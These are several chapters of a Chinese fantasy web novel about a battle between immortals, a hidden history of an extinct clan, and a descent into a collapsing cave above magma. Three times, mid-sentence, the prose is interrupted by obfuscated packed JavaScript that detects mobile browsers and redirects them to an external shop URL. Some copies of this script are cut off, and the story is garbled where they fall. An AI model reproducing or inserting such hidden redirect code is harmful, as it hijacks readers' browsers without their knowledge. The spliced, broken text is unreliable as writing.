看清了路数,接下来,便是见招拆招的正面交锋。 只见宏音身形一动,拳出如龙,包裹着凝练纯水之力的重拳,精准无比地轰击在几道最具威胁的实体锁链关节处,澎湃的暗劲透过水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549565|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膜传递,将其狠狠震偏。随即,他如同一个在狂风暴雨与致命荆棘中闲庭信步的行者,以最小幅度的腾挪,在锁链交织的狂潮中穿梭游走。所有致命的缠绕、穿刺与抽击,皆因附着其上的“水印”被他提前洞察轨迹,从而险之又险地避开,或以巧劲格挡卸开。 一时间,天空中霞光万道奔流,水汽氤氲折射,景象瑰丽非凡,却又杀机四伏,每一次交错都令人心惊肉跳。 然而,绛霞的本体攻击,比她的锁链更快! 就在宏音格开数道锁链的瞬间,一道绯红的身影已如鬼魅般穿透霞光,掌刃之上凝聚着高度压缩、足以切金断玉的仙力,带着撕裂空气的刺耳尖啸,直劈宏音面门!速度之快,远超锁链合围! 宏音仓促间架起一道流动的水盾。“嘭!”一声水盾应声而碎,虽抵消了大半力道,但那股凝聚到极点的冲击力仍将他震得气血翻腾,不得不连连后退。他双手疾挥,纯水仙力在身前布下一道又一道流动的柔性屏障。 但绛霞的体术攻击,简洁、凌厉、近乎野蛮,毫无花哨,将力量与速度发挥到极致!她根本不给宏音喘息重组仙力的机会,拳、掌、肘、膝化作连绵不绝的暴风骤雨,在漫天锁链的辅助下,她的身影几乎化为一道道难以捕捉的残影! “砰砰砰砰——!” 一道道水之屏障在绛霞狂暴的攻势下接连破碎,化为漫天飞溅的水花。宏音被这贴身快攻逼得节节败退,纯水仙力虽擅变化与防御,但在这种极致速度与力量的压制下,竟显得有些左支右绌。 忽而,我想起了尾巴曾说过的话:修仙者若过于依赖仙力与法术,忽视对躯体这具“容器”本身的千锤百炼,终究会沦为脆弱的一环。 绛霞此人,确实只有两个特点:美,与强! “啧,”尾巴在我肩头发出评价,“宏音这一仗打得算不错了。毕竟他的仙法本质更偏向辅助、控制与感知,而非强攻硬撼,自然与青莲那种纯粹的战斗类型没得比。能在绛霞这种体术狂人的猛攻下支撑这么久,已属不易。” 他顿了顿,光晕微微绷紧,“走,照夜。不能再打下去了。宏音此前酿造那坛‘醉仙酒’,损耗了大量本源仙力,尚未完全恢复。继续硬抗下去……必受重创。” 就在这时,“轰”的一声,黑影闪现!焉耆所化的巨兽已将最后一批坠落的百姓安全送至下方天翮军手中,此刻带着滚滚风雷之势,骤然出现在我面前。它对着不远处渊寂的方向发出一声压抑着恐惧与愤怒的低沉咆哮,龇出森白利齿,却始终不敢真正扑上前去。 毕竟,渊寂是曾一拳将它揍得晕头转向、刻骨铭心的存在。 眼见渊寂依旧岿然不动,如同冷眼旁观的神祇,我心中决断立下,攀到焉耆脑袋上,朝宏音而去。 尾巴略快一步,已噌的一声跳到宏音身上,磅礴而温暖的仙力,如同决堤的江河,开始源源不断地汇入对方胸膛。 此刻,绛霞的身影再次化作一道撕裂空气的雷霆飞影,以更胜先前的狂暴之势袭来!宏音眸光一凝,不再退避,周身残余的纯水之力与方才汇入的磅礴金光轰然共鸣,尽数凝聚于拳峰之上! 那拳头不再晶莹剔透,而是缠绕着流金与蔚蓝交织的炽烈光焰,裹挟着被一再践踏尊严的愤怒、守护约定不惜此身的决绝,迎着那道赤红的身影—— 正面硬撼! “轰——!!!!!” 拳掌交击的刹那,并非金铁交鸣,而是仿佛两颗星辰对撞的恐怖闷响!澎湃到极致的仙力疯狂对冲、挤压、湮灭,最终化作一道横扫天际的冲击环,裹挟着炽热的气浪与刺目的强光,轰然炸开! 天空之中,宛如骤然绽放了一朵妖异而艳丽的赤金之花,光芒之盛,令下方无数人短暂失明。 下一瞬,两道身影自爆炸中心倒射而出! 绛霞如同折翼的赤鸟,重重摔砸在瑶扇城坚实的玉台之上,“咚”的一声巨响,竟将坚硬无比的玉石地面砸出一个蛛网密布的浅坑,尘土碎石飞扬。她闷哼一声,嘴角溢出一道鲜红的血线。始终静立一旁的瑶扇仙人眉头微蹙,急忙上前欲扶起绛霞。 另一侧,焉耆载着我和宏音,缓缓、却稳稳地降落在地。 100. 第100章 天翮族‘灭亡\’ 喘息着,宏音几乎要靠我用力搀扶,才能勉强站稳身形,然而,他的目光却如同烧红的铁钉,死死钉在远处坑中正挣扎起身的绛霞身上,胸膛因急促的呼吸而大力起伏,那双总是平静、带着些许哀伤的眼眸里,此刻只剩下冰冷的火焰。 “哎呀呀……” 一个带着几分慵懒与讥诮的声音,打破了这紧绷的寂静。原途不知何时已从混乱的人影中踱步而出,脸上挂着似笑非笑的神情,先是对着渊寂所在的方向随意地拱了拱手。 “仙帝陛下,”原途声音不大,却清晰,“没曾想,贵界的‘圣女选拔’,竟能演绎出如此波澜壮阔、堪称三界奇观的大戏。”他话锋一转,语气微冷,“只是在下有些困惑,何时起,仙人修仙,竟将‘仁心’二字抛诸脑后了?若我没记错,仙界的晋级考评中,‘仁心’可是重中之重。” 原途目光扫过狼藉的台面,最后落在绛霞身上,摇了摇头,“这般随随便便,便以毫无反抗之力的寻常百姓为筹码、为盾牌,只为抢得一丝对抗的先机……此举,怕是极为不妥,也有损仙界清誉吧?” 面对这近乎质问的言论,渊寂只是负手而立,玄袍在未散的能量余波中轻轻摆动。他嘴角勾起一抹极淡的、难以捉摸的笑意,目光甚至未曾瞥向原途,而是落在刚刚被人扶起的绛霞身上,“绛霞,自行前往地刑司,领受擅动干戈、惊扰民众之罪。” “咳咳……”绛霞以手背擦去嘴角残血,勉力站直身体,朝着渊寂的方向深深一揖,脸上不见不甘,只有一片漠然的平静,“谨遵帝君之命。绛霞……认罚。” 气氛再次凝滞,仿佛连风都停止了流动。 渊寂这才将目光缓缓转向脸色苍白的宏音,眼中掠过一丝饶有兴味的微光,仿佛刚刚观赏完一场值得品评的角斗。 “宏音,将剩余的候选者带来。”渊寂淡淡吩咐,仿佛方才的生死搏杀、阴谋算计都不过是无关紧要的插曲,“既是选拔月翮圣女,便须有始有终,得出一个结果。否则,何以向天翮族信徒与城民交代?更会令三界误以为……仙界治下不力,规矩荡然无存。” “……是。”宏音深吸一口气,压下喉头的腥甜与身体的虚软,松开我的搀扶,努力挺直脊背,声音因力竭而微哑,“宏音……谨遵帝君之命。” 眼见宏音要转身去处理这烂摊子,我心中莫名一紧,下意识地伸手,拽住了他微微染尘的宽大衣袖。 宏音脚步一顿,侧过头来。四目相对。他苍白的脸上没有太多表情,那双深邃的眼眸里,翻涌的怒焰已悄然平息,只剩下深不见底的疲惫,与一丝……难以言喻的复杂温柔。他只是对着我,极轻、却极稳地,颔了颔首,“照夜,焉耆先跟着我,可以么。” 不待我回答,变小的焉耆“噌”地跃起,轻盈地跳进宏音略显虚浮的怀里,用脑袋蹭了蹭他的手臂,发出细微的“呜呜”声,仿佛在催促他快些离开。 我自然没得选择,只能低着头,默默跟在渊寂身后,一路回到了那座花木葳蕤却气氛凝重的万林苑。 此时已是午后时分,天光陡然黯淡。原本艳阳高照的天空,不知何时已被沉甸甸的铅灰色乌云彻底遮蔽,云层深处隐隐传来沉闷的滚滚雷声,空气潮湿而压抑,仿佛随时要倾泻下另一场冷雨。 凉亭之下,渊寂安然入座,慢条斯理地为自己斟了一杯清茶,雾气袅袅升起,模糊了他半张面容。他并不急于开口,只是静静地品着,仿佛在享受这暴风雨前难得的片刻宁静。 原途早已寻了个由头离开,想必是去查看他那“惊天动地”求爱的宝贝妹妹环琛。此刻偌大的园中,便只剩下我与这位深不可测的仙帝。 我虽心中忐忑,但见渊寂并未对我自行落座、甚至也给自己倒了杯茶的行径流露出丝毫不快,便索性大着胆子坐下,借着温热的茶盏,平复方才激荡未息的心绪与几近虚脱的身体。 “可知为何……这月翮圣女的选拔,会变得如此荒唐可笑么,照夜。” 低沉的嗓音,如同浸透了寒露的玉石,幽幽地传入我耳中。渊寂并未看向我,目光落在亭外摇曳的花枝上,语气里没有嘲讽,没有怒意,平静得仿佛只是一位师长在考校学生一个早已明了答案的问题。 我沉默了片刻,指尖无意识地摩挲着温润的瓷壁。 然后,给出了那个我们彼此都已心知肚明的答案: 因为真正的天翮族,早已灭亡。一个不复存在的种族,自然再也无法诞生能够真正‘感召月辉’的圣女。所以只能用这种既苛刻到不近人情,又荒谬到引人发笑的方式,筛选出一个‘似是而非’的符号。不过是为了……掩盖血统断绝的真相,维系一个虚无的信仰,蒙骗那些需要寄托的信徒罢了。 “一千三百年前,仙历二一二零年,”渊寂终于将目光从花枝上收回,落在了手中轻轻转动的茶盅上,语气依旧平缓,像是在讲述一个与己无关的故事,“随着月羽木彻底凋亡。跟之而来的……便是天翮族的灭亡。” 渊寂顿了顿,似乎在斟酌用词。 “失去了灵木的净化与镇压,被禁锢在翮山深处的‘怪物’……终于冲破了束缚。它们以恐怖的速度吞噬、异化、重组着这座曾经辉煌的城邦。天翮族举全族之力,与它们苦战了十年。” 说到这里,渊寂的嘴角,极细微地向上牵动了一下,露出一丝冰冷而玩味的隐笑。 “‘同归于尽’这个说法其实,并不贴切。”他抬起眼,目光似能穿透亭柱,望向翮山的方向,“确切地说……亡尽的,只有天翮族。” 我的呼吸微微一滞。这段历史,在那些我能接触到的、浩如烟海的典籍中,只有寥寥数笔、语焉不详的记录。内容也截然不同——无外乎是“天翮城内部分裂混战,恰逢惨烈地震,地火蔓延,山塌城毁”,那场灾难甚至没有留下正式的名字。而在那之后约三百年,人仙交界处的未湖,才再次爆发了有明确记载的怪物之灾。 “帝君……”我听见自己的声音有些干涩,“您是从何处得知这些……真实的历史?” 渊寂微微支起下巴,以一种近乎审视的姿态,歪着头凝视我。那目光并不锐利,却仿佛带着千钧重量,能压得人喘不过气。 “照夜,”渊寂缓缓开口,每个字都敲在我的心弦上,“历史该如何被叙述,向来由执笔的当权者决定。这也决定了,身处最高位者,所能接触到的信息,往往是最多、最广,也最接近‘原貌’的。” 渊寂啜了一口清茶,继续道,“因为某些记录着残酷真相的‘历史’,未必适合被普罗大众知晓。你要明白,过度的、无力应对的‘知情’,带来的往往不是清醒,而是恐慌。而恐慌,只会滋生混乱,无法带来团结。” 望向亭外愈加深沉、雷光隐隐的天穹,渊寂的声音放得更低,像是自言自语,“这也正是……天翮城千百年来,为何要拼命隐瞒这个真相的原因之一。试想,若让你脚下的万千子民,日夜皆知自己栖息、行走的土地之下,便潜伏着足以吞噬一切的恐怖怪物……又有几人,还能夜夜安寝,日日如常?” 不知为何,我大脑一阵阵发麻,这种因紧张、畏惧交织形成的麻痹感一直延伸到我的脸颊上,以至于我的眼睑不受控制疯狂跳动。 “……所以说,帝君你其实早就知道当年映山都焚毁的真相?” “真相?”渊寂的视线从天空收回,重新落在我脸上,那目光深不见底,“就像唯有你亲眼见证、亲手触碰之后,才敢真正相信——归德城里那些看起来与你我无异的‘人’,其实早已是披着人皮、无可挽救的‘怪物’一样。” 渊寂的声音里,忽然透出一种难以言喻的、近乎悲悯的冰冷,“它们甚至在‘核心’的影响下,完美保持着‘人’的本能与行为习惯,足以天衣无缝地掩饰自己身为怪物的本质。这种进化出智慧、甚至懂得‘模仿’与‘隐藏’的怪物……仿佛也在努力适应着这个对它们而言同样苛刻、需要不断抗争、甚至‘有毒’的生存环境。” 渊寂顿了顿,轻轻吐出最后一句,“他们与我们……又有何异?” “……” 对于渊寂这番近乎虚无的喟叹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宏音闻言,嘴角弯起一个极淡的、带着些许了然的弧度。他蹲下身,仔细地替我穿好鞋子,系好带子,动作细致得像在对待易碎的瓷器。随后,他拉起我的手,撑开不知何时备好的伞,挡去了门外扑面而来的、裹挟着寒意的风雨。 “此事我倒也听原途提起过一二。”宏音的声音混在雨声里,显得有些模糊,“仙帝的行事风格……向来神出鬼没。除非三界有震动格局的大事发生,否则他几乎不会在任何一处停留太久。映山都那几年,已是例外。” “对了,”我跟着宏音的步伐,踏过被雨水冲刷得光亮的石阶,忍不住问,“上午发生的那些……都处理好了么?月终她怎么样了?” 宏音的步伐几不可察地顿了一下。 “……她伤得很深。”片刻后,宏音才缓缓开口,声音低沉下去,“性命无虞,但需要很长一段时间的静养。”他抬起头,望向廊外风雨中摇曳不定、晕开一团团模糊光晕的长明灯,深深叹了口气。 “当年,化西、归德两地,因不满棠梨嫁与人君,便在许多琐事上借题发挥,企图向天翮施压。丽娘这件事……月终并未向我提及,便自作主张处理了。纯水有限,在遇到尾巴前,我并未学会将有限的纯水切割得更细小的方法,很多事情便无从得知。”宏音的语气里带着一种复杂的痛楚,“许是从那时起……月终内心深处,也对‘月翮圣女’这个信仰,产生了无法弥合的怀疑吧。哪怕她和历史上无数代月教信女一样,曾在先祖灵位前,立下血誓,要守护天翮族,直至真正天翮血脉归来。” “天翮族……”我喃喃道,“还有可能……有后代留存于世么?” 宏音苦笑一声,那笑容里浸满了千年等待的苍凉与无望。他握紧了我的手,力道有些大,仿佛要从这接触中汲取一丝暖意,“不知道。照夜,我们已经苦苦等待了一千三百年。却至今,仍未等到‘她’的丝毫音讯,未曾瞥见那片血脉归来的微光。” 101. 第101章 天翮洞窟塌陷 此时已过子时,万籁俱寂,唯有寒雨滂沱。雨丝带着刺骨的冰凉,可我被宏音紧紧牵着,竟不觉得冷。反倒是稍早些时候,原途曾提及的“天翮城粮产恐将断崖式减产”的隐忧,如同另一场无声的寒雨,悄然浸透心底,带来更深沉的寒意。 对此,仙力损耗过度、身心俱疲的宏音,似乎已疲于应对。他只是不停地、近乎无意识地揉按着自己的太阳穴,仿佛想将那沉重如山的压力暂时驱散。 不多时,空旷肃穆的大殿中,脚步声再次响起。 盛放在两名仙军的“护送”下,缓缓走入,最终沉默地跪在了高坐于上的仙帝渊寂脚下。她低垂着头,湿发贴在苍白的脸颊旁,那身原本为决赛准备的华服,此刻沾满了尘土与泪痕,显得狼狈不堪。 直到今日所有真相被残酷揭开,我才真正明白,盛放眼周那圈我曾觉得奇怪、她却始终讳莫如深的刺青,究竟代表着怎样的耻辱与伤痛。更觉讽刺的是,对此早已知情的无悔,竟也一直选择了沉默。 宏音松开我的手,上前几步,在盛放身侧不远处,向着御座的方向,缓缓屈膝,深深跪伏下去。 “臣,宏音,治城无方,督察不力,致今日选拔大典生乱,惊扰帝驾,祸及无辜……理当领受重责。”宏音的声音不高,却字字清晰,回荡在空旷的大殿里。那语调中,竟透着一丝如释重负般的坦然。 我望着宏音低垂而孤寂的背影,心中涌起一阵尖锐的难过。 也许从宏音不得不接过“聆月使”之位、背负起“天翮族”早已灭亡这个沉重秘密的那一天起,直至信仰被彻底撕碎、守护之物显露出最不堪的原貌的今日……他也早已疲累不堪。 那无谓又无意义的坚持,究竟还需要吗? 那本就建立在流沙与谎言之上的信仰,究竟……还需要吗? 我不知道答案,我只是不想认输。 就像棠梨一样。 听完宏音的请罪,渊寂才缓缓睁开半阖的眼。殿内灯火在他深邃的眸中跳动,映出一片看不清情绪的幽暗。“天翮圣女本当有感召月辉之能,”他声音沉静,如冰珠落玉,“若无此力,纵被选出,亦与凡木无异。盛放,你可有此能?” 盛放的身子轻轻发抖,像风中最后一寸未熄的烛苗。她竭力稳住呼吸,抬首迎向高座上的帝君,每一个字都仿佛从齿间挣出,“帝君……我只是一枚无人认领的胎果,从不知晓何为圣女之能。我无法感召月辉,更不可能让月翮壁重焕光芒……自始至终,我只想寻回我的阿娘。今日之罪,我愿以死相偿。” 我喉间一哽,脚步才动,原途的手已无声地覆上我的腕间。他的手指冰凉,力道却稳,一眼瞥来,尽是制止。 “帝君,”宏音伏身叩首,声音里压着某种颤意,“盛放虽存私心,然参选圣女并未违律。如今莫说她,便是整个天翮城中,也已无人能令月翮壁生辉——就连壁上凿下的月信石挂坠,亦久暗如凡石。求帝君……宽恕盛放。” 恰在此时,一道惊雷裂空而至,银光劈亮殿宇,也直直劈进我的心腔。我猛然攥紧袖中那枚温热的青莲瓶,尾指处似有光团缓缓流转。我忽而想起归德城垛上,羽婆将月信石挂坠放入我掌心的那夜——幽暗之中,那坠子竟漾开一圈月辉似的、温润而清晰的金光。 “帝君,照夜有言禀告。”我挣开原途的手,上前与盛放、宏音并肩而跪,扬声道,“无论天翮血脉是否真已断绝,也不论此次选拔是否徒有其表——既然能令月信石吊坠发光者即为圣女,那何不让全城所有城民皆来一试?半月后恰逢满月,正是月华最盛之时,也该办一场沐月仪才是,若当日有能感召月辉者,便成为天翮一族新的信仰,如何?” 宏音倏然侧首望来,眼中掠过一丝惊愕,随即恍然明悟般,疾声接道,“恳请帝君赐天翮族最后一次机会!若满月之夜仍无圣女出世……宏音愿向全城昭告真相,听凭众生抉择己路。届时,宏音亦自请卸去城主之位,领受一切责罚。” 渊寂静默片刻,指尖在扶手上轻轻一叩,“也罢。便以此,止众生之疑罢。宏音,去安排。” 我心中一松,气息还未吐尽,殿外却蓦地卷入一阵寒意。溟牙疾步而入,苍白的脸上沾着未拂去的冷雨,灰颓中透出惶急,“帝君——天翮城出事了!” 宏音陡然转身,衣袂扬起,“何事?!” 溟牙稳住喘息,得了渊寂颔首,才一字一字咬得沉重,“天翮城的地窟,彻底坍塌了。” 这一夜漫长得仿佛永无破晓。飞兽背上,盛放沉默地倚在我身旁,目光空茫地投向翮山——那里,山体已塌陷下一块狰狞的缺口,像被巨兽啃噬过的伤口。 “盛放,”我轻声问,“你还想当圣女么?” 雨水沿着盛放的脸颊滑落,分不清是雨是泪,“……我不知道,照夜。我不知道。” 我笑了笑,握了握盛放冰凉的手,“那就趁这几天,好好想一想。你若不当圣女,阿烈、浩哥,还有小焉耆,他们的封赏该问谁要去?” 盛放唇角牵起一丝极淡的苦笑,像随时会碎裂的水痕,“可我没有能力令月翮壁发光,令月信石吊坠发光……我只是一个无人认领的胎果,照夜。我连自己从何处诞生都不知晓。” 我望向雨幕中依旧光华流转的天翮城,那些灯火在湿雾里晕开,宛如沉在水底的星子,“那又如何呢?你有疼你念你的阿娘,如今又遇见了愿做你‘守月卿’的阿爹。盛放,我们就信一回‘奇迹’吧。答应我,这些日子,无论晴雨,都守在月翮壁下,用你的心去感受这片土地的血脉与呼吸,好么?” 盛放抬起手背,用力抹过眼睛,终于轻轻点头,“好……我会去试。哪怕,只是徒劳。” 塌陷之处,正是钱太多的“月兔三十六窟”。眼前已是一个触目惊心的巨大深坑,乱石嶙峋,雨水混着泥浆不断流入。天翮军士仍在往来救援,不断有伤者被抬出,附近居民已被疏散至安全处。宏音立在坑边,正听属下的急报,墨发与衣袍早已被冷雨浸透,紧贴在他宽阔的身躯上。 坍塌发生在半个时辰前。据说地底先是传来闷雷般的轰鸣,随后便是岩层断裂的巨响。 “钱太多本人呢?”宏音声音沉着,却透着一丝紧绷。 一名军士拱手禀报,“城主,钱老板当时正在深层窟穴中……至今下落不明,恐已被掩埋。” 我心头一紧,下意识抓住宏音的衣袖,“我必须下去找钱太多!他身上……有一件我必须取回的东西!” 可恶,为何偏偏是钱太多……那截小树枝吊坠还挂在他颈间,我尚未有机会夺回来!眼下埋怨自己总是拖拖沓沓也无济于事了,得不惜一切代价补救才是! 宏音凝视着那仿佛能吞噬一切光线的深坑,思忖片刻,转向一旁抱臂静观的溟牙,“请禀报帝君,外围救援尚可应付。深处被困者……由我亲自去寻。” 溟牙的目光在我脸上扫过,眉头微蹙,声音里带着惯有的冷意,“……知道了。不过你们可想清楚,翮山地脉本就不稳,此次坍塌或许只是前兆。” “我一定要去!”我迎上溟牙的视线。 宏音轻轻按住我的手,对溟牙颔首,“身为一城之主却碌碌无为,至少此刻,让我略尽庇护族人之责,践行当初的誓约吧。” 我转身捞起脚边的小焉耆,捧到面前,望进它那双湿漉漉的绿色眼睛里,“焉耆,下面或许很危险。你要跟我一起去吗?” 小狗鲜红的小舌头吐了吐,忽然“嗷呜”一声,尾巴摇成虚影,嗖地便从我怀中跃出,直奔坑边。 宏音望着它那斗志昂扬的小背影,唇角几不可察地弯了弯,深吸一口气,握住我的手,“焉耆说,‘老子自然要去,休想撇下我’。” “……” 宏音扶着我下到坑洞边缘湿滑的岩石上,忽而又低声补了一句,“待此事了结,得空还是好好教教焉耆礼仪,不可再偷懒了。” “哦,知道了。” “嗯,乖。”宏音话音落下,掌心已凝出一团清澈流转的水球,将我们温柔包裹其中。他侧脸看了我一眼,眼中映着天翮城迷离的辉光。“走吧,照夜。” 天翮族覆灭之后,深埋于翮山地底深处的密藏室也随之倾颓。后来迁徙至此的族民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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尾巴低笑一声,轻盈跃上我头顶,光晕随之流淌,将宏音沉静的侧脸也映亮了几分,“好啦,不气不气,”他的语气软了下来,带着些许安抚,“有我在呢。近来气候诡变,雨水太盛,翮山的土质被泡酥了。那些纵横交错的旧窟窿,塌了也不稀奇。尤其是上头那个玉轮湖——只聚不泄,活像个盛满水的悬碗,迟早要渗要漏。” “真不知先人为何偏要在这种地方修湖。”我嘀咕道。 宏音伸手轻拍我的后脑,声音温和却郑重,“那是先祖留下的至宝,其中盛载的是来自天涧的寒泉之水,不可妄言。” 我们说话间,焉耆已奋力掘进不少。这小家伙从前偷师过挖洞高手未生的几分技巧,此刻竟派上了用场。不多时,它忽然兴奋地“呜汪”一声——前方触及的已不是松土,而是坚硬的障碍。 我与宏音凑近一看,透过焉耆刨开的缺口,隐约可见下方是一座石室的穹顶。只是原本可能存在的破口,早已被塌落的土石严严封死。 此时,我们距地面已有三十余丈。四周不断传来泥土簌簌滑落的细响,雨水正顺着新塌的断面渗入,让本就松软的岩土持续溃散。 不能再犹豫了。宏音与我交换一个眼神,随即抬手凝神。清澈的水流自他掌心涌出,并非粗暴冲击,而是如灵蛇般钻入土石缝隙,侵蚀、分离着那些碎土。就在上方隧道发出不祥呻吟、即将彻底崩塌的刹那,他揽住我的腰,带着我与焉耆,纵身落入下方那片被水流冲开的黑暗缺口。 随即,我们跌进了一团浓郁的、带着陈腐尘土气息的寂静里。 石室内回荡着潺潺水声,浑浊的泥浆几乎淹没了所有角落。我刚从泥泞中挣起身,呛得连吐了几口泥水,焉耆却已兴奋地在泥浆里扒拉出个活物,叼在嘴里一路小跑过来,绿油油的眼睛望着我,尾巴摇得欢快——那意思再明白不过:这玩意儿能吃吗? 我定睛一看,在焉耆齿间瑟瑟发抖的,不正是溟牙的黑脊蛇嘛,想来它是寻了这处隐秘地界准备冬眠,却没料到才合眼不久,便被我们连窝端了出来。 未等我开口,宏音已伸手将那黑蛇提了过去。蛇身在他指间僵直,细小的竖瞳里满是惊恐,“先留着吧,必要时,可作储备之粮。” 黑脊蛇竟似听懂了,浑身一颤,随即认命般软下身子,乖顺地盘绕在宏音腕间,再不敢动弹。 此处显然是钱太多“三十六窟”中的某一窟。宏音曾来过,依稀记得路径,便领着我在错综复杂的甬道中继续下行。空气潮湿而滞重,弥漫着泥土与陈年腐朽的气息,压抑得连自己的心跳都如在耳畔擂鼓。幸而有灵敏的焉耆在前探路,我们才不至于迷失在这地下迷宫里。 102. 第102章 即将喷发的地火 就这样走走停停,困了便倚着岩壁小憩,醒了便啃些干粮继续跋涉。地底无日月,不知外界光阴流转了几日。直到某刻,从一道仅容一人侧身而过的狭窄地缝中钻出,眼前豁然出现一个相对开阔的洞窟。 此处坍塌痕迹明显,碎石凌乱。一道地下河在此奔流而至,竟毫无眷恋地泻入一旁那道深不见底的巨大地缝中,隆隆水声闷在地底,听来恍若巨兽低喘。连日的疲惫骤然涌上,我腿一软便瘫坐在地,再不想动弹。 宏音见我如此,便独自带着焉耆与那装死的黑蛇,在洞窟内细细勘查。这里闷热异常,水汽凝成薄雾,黏在皮肤上,腻得叫人难受。我抬起胳膊嗅了嗅,倒是奇了——许是近日月羽花茶喝得太多,周身并无汗意不说,竟仍隐隐透着一缕清冽的花香。 “我们已经站在天翮古族的‘门槛’上了。”尾巴从我发辫间飘起,他也被这湿热水汽蒸得有些蔫,光晕都显得朦胧,“再往下,便是他们真正的密藏之境了。” “天翮族天翮族,”我没好气地嘟囔,“怎就如此偏爱往地心钻?” “哈哈,藏宝本能嘛,”尾巴轻笑,“好东西,自然要埋在最深、最暗处。” 我冲尾巴翻个白眼,一把将他捞回手里,朝正在不远处唤我的宏音走去,“便真有宝物,埋了上千年,怕也早化成灰了。” 尽管被水流冲刷、塌方破坏,现场仍留下些许痕迹。几件简陋的挖掘工具被随意丢弃在地缝边缘。我壮着胆子凑近,朝那深渊望去——一片浓稠的漆黑,深不可测,只有一股灼热的地气蒸腾而上,扑面而来。 “钱太多他们,应该是顺着这道地缝下去了。”宏音勘察完毕,直起身,深深叹了口气,“此次地震撕开了这道口子……下面,便是我们从未涉足过的领域了。” “我必须下去找钱太多。”我语气坚决。 “……你似乎有件极其重要的东西,落在了钱太多手里。”宏音转过身,目光沉静地落在我脸上,带着探究,“照夜,告诉我,究竟是什么,值得你如此冒险?” 我避开宏音的视线,声音不自觉低了下去,“那你呢?明知危险,为何还要跟来?” “当初默许钱太多在此大肆挖掘的人是我。”宏音走到地下河边,掬起一捧水洗去脸上的泥尘,侧影在昏暗光线下显得有些寂寥,“所以我必须负责。况且,我……不想再重蹈覆辙。若无法劝阻你,至少要护在你身边。” “你是在懊悔,”我轻声道,“懊悔当年没有随棠梨北上月下州。” 宏音拿着浸湿的帕子走回,指尖微凉,仔细擦去我额际的最后一点泥渍。嘴角那抹笑意淡得近乎苦涩,却温柔,“嗯。同样的错误,我不能再犯第二次。”他凝视着我的眼睛,一字一句,重若承诺,“至少这一次,我会竭尽所能,保护你,照夜。” 我望向那仿佛通往幽冥的裂口,心中某一处悄然松动。最终,我伸出手,握住了宏音微湿的手掌。 “虽然阿爹在我心里的地位无可动摇,”我眨了眨眼,努力让语气轻松些,“但多一个‘笨蛋阿爹’,好像也不赖。走吧,笨蛋阿爹——咱们去看看,天翮族捂了千年的宝贝,到底是个什么模样。” 这道地缝像一道被粗暴撕开的、深嵌在大地肌理中的黑色伤疤,向下延伸至目光无法抵达的幽冥。灼热的风自深渊底部卷涌而上,带着浓重的硫磺气息,扑在脸上,有些刺痛。此刻,被迫与我们同行的“储备口粮”——那条黑脊蛇,终于展现了它的价值。只听“砰”一声轻响,它身形骤然膨大,化作一条鳞甲幽暗、腰身粗如小舟的巨蟒,载着我们,顺着急湍的地下河,一头扎入那深不见底的黑暗。 出发! 最初的一段旅程,是绝对的死寂与纯粹的墨色。唯有哗啦啦的水流声响彻耳际,单调而永恒。尾巴散发的光晕,在这无边的黑海中,仅仅是一叶随时会被吞噬的微芒,勉强照亮脚下蜿蜒的水道和头顶湿滑的岩壁。 然而,随着不断下潜,周遭的空气开始变化。一种黏腻的、包裹全身的温热悄然弥漫,不再是水汽的湿润,而是来自地心深处的燥热。我们仿佛正乘着蛇背,滑向一头洪荒巨兽温湿而搏动的腹腔。 “温度在升高。”宏音的声音穿透水声,在这密闭的幽暗中显得格外清晰,也格外凝重。 宏音抬起手,指尖凝聚出一颗清澈的水珠。那水珠竟微微震颤起来,边缘迅速蒸腾起丝丝缕缕的白气,转眼消散在热浪里。 就在这时,身下的黑脊蛇猛然刹住去势!粗壮有力的蛇尾如铁索般骤然卷住旁侧一根突兀的岩柱,硬生生将我们拽离了奔流的主河道,稳在一处相对凸出的石台上。 我伏在蛇身边缘,小心翼翼地向下望去——刹那间,呼吸为之一窒。 下方那吞噬一切的黑暗,竟被一道狰狞的、缓缓蠕动的暗红色光晕猛然撕裂!那红光如同地狱裂开的血管,在视野尽头蜿蜒流淌,炽烈而缓慢,散发着毁灭性的光芒。而我们方才所在的汹涌地下河,流至此处,竟像被一张无形的深渊巨口疯狂吸吮,冰冷的河水与那暗红的熔流悍然相接—— “嗤——!!!” 惊天动地的巨响伴随着爆炸般腾起的水汽冲天而上!冰冷与极热疯狂对冲,迸发出足以灼伤肺叶的滚烫白雾,瞬间化作一堵厚重、浓密、伸手不见五指的雾墙,充斥了整个空间,将那下方可怖的红色河流半掩半藏,更添几分诡谲。 “是岩浆。”宏音的声音带着罕见的惊愕,他紧紧盯着那在雾气后隐约蠕动的红光,连呼吸都不自觉地放得轻缓,仿佛怕惊醒了这沉睡于地底的凶兽。 就深度而言,我们所在之处并没有深到可以看到这等景象,岩浆的出现实属蹊跷。尾巴却适时低语,点破了谜底,“现在知道,为何天翮城是孤耸于平原之上的山城了吧?” 我心头一震,一个惊人的猜想浮上脑海。 只因这座承载着天翮族千年历史的翮山,本就是一座火山! “啧啧,”尾巴晃了晃,光晕扫过我的侧脸,“眼下有个好消息,也有个坏消息,照夜,你想先听哪个?” 我反手轻轻捶了尾巴一下,“都这个时候了,少卖关子,快说!” 